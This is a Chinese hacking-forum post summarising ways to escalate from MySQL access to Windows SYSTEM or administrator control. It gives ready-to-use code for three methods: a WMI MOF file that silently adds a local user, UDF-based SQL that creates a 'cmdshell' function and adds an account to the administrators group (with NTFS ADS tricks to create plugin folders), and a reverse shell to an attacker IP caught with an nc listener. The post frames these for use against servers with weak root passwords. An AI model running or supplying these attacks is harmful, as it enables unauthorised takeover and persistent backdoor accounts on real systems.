搜索
查看: 382|回复: 0

MYSQL提权总结

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2016-8-8 11:09:45 | 显示全部楼层 |阅读模式
最近在测试一个项目,遇到了MYsql数据库,想尽办法提权,最终都没有成功,很是郁闷,可能是自己很久没有研究过提权导致的吧,总结一下MYSQL提权的各种姿势吧,权当复习了。关于mysql提权的方法也就那么几种,希望也能帮到各位小伙伴们。
一、利用mof提权

前段时间国外Kingcope大牛发布了mysql远程提权0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day),剑心牛对MOF利用进行了分析,如下:
Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件:
方法 1: 运行 MOF 文件指定为命令行参数将 Mofcomp.exe 文件。
方法 2: 使用 IMofCompiler 接口和 $ CompileFile 方法。
方法 3: 拖放到 %SystemRoot%\System32\Wbem\MOF 文件夹的 MOF 文件。
Microsoft 建议您到存储库编译 MOF 文件使用前两种方法。也就是运行 Mofcomp.exe 文件,或使用 IMofCompiler::CompileFile 方法。
第三种方法仅为向后兼容性与早期版本的 WMI 提供,并因为此功能可能不会提供在将来的版本后,不应使用。
具体到mysql提权中,我们又该怎么利用呢?
1、找一个可写目录上传mof文件,我这里上传到了 C:/wmpub/nullevt.mof 代码如下。
  1. <pre style="color: rgb(0, 0, 0); line-height: normal;">#pragma namespace("\\\\.\\root\\subscription")

  2. instance of __EventFilter as $EventFilter
  3. {
  4.     EventNamespace = "Root\\Cimv2";
  5.     Name  = "filtP2";
  6.     Query = "Select * From __InstanceModificationEvent "
  7.             "Where TargetInstance Isa "Win32_LocalTime" "
  8.             "And TargetInstance.Second = 5";
  9.     QueryLanguage = "WQL";
  10. };

  11. instance of ActiveScriptEventConsumer as $Consumer
  12. {
  13.     Name = "consPCSV2";
  14.     ScriptingEngine = "JScript";
  15.     ScriptText =
  16.     "var WSH = new ActiveXObject("WScript.Shell")\nWSH.run("net.exe user 1111 222222 /add")";
  17. };

  18. instance of __FilterToConsumerBinding
  19. {
  20.     Consumer   = $Consumer;
  21.     Filter = $EventFilter;
  22. };</pre>
复制代码
其中的第18行的命令,上传前请自己更改。
2、执行load_file及into dumpfile把文件导出到正确的位置即可。
  1. select load_file('C:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'
复制代码
执行成功后,即可添加一个普通用户,然后你可以更改命令,再上传导出执行把用户提升到管理员权限,然后3389连接之就ok了。
二、利用UDF提权

udf提权这是最常见的提权方式了,但是往往在执行过程中老是遇到”Can’t open shared library”的情况,这里我们可以利用NTFS ADS流来解决这个问题。
1、最常见的是直接使用udf.php此类的工具来执行udf提权,具体如下。
连接到mysql以后,先导出udf.dll到c:\windows\system32目录下。
2、创建相应的函数并执行命令,具体如下:
  1. create function cmdshell returns string soname 'udf.dll';
  2. select cmdshell('net user waitalone waitalone.cn /add');
  3. select cmdshell('net localgroup administrators waitalone /add');
  4. drop function cmdshell; 删除函数
  5. delete from mysql.func where name='cmdshell' 删除函数
复制代码
3、某些情况下,我们会遇到Can’t open shared library的情况,这时就需要我们把udf.dll导出到lib\plugin目录下才可以,但是默认情况下plugin不存在,怎么办? 还好有大牛研究出了利用NTFS ADS流来创建文件夹的方法
  1. select @@basedir;
  2. //查找到mysql的目录
  3. select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';
  4. //利用NTFS ADS创建lib目录
  5. select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';

  6. //利用NTFS ADS创建plugin目录
复制代码
执行成功以后再进行导出即可。
三、反弹端口连接提权

假如我们扫到了一个mysql的root弱密码,并且可以外连,但是服务器上面的网站又无法Getshell,这时我们怎么办呢?
1、利用mysql客户端工具连接mysql服务器,然后执行下面的操作。
  1. mysql.exe -h 172.16.10.11 -uroot -p
  2. Enter password:
  3. mysql> \. c:\mysql.txt
  4. mysql>select backshell("YourIP",2010);
复制代码
2、本地监听你反弹的端口
  1. nc.exe -vv -l -p 2010
复制代码
成功后,你将获得一个system权限的cmdshell,其实这个也是利用的UDF提权。

过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表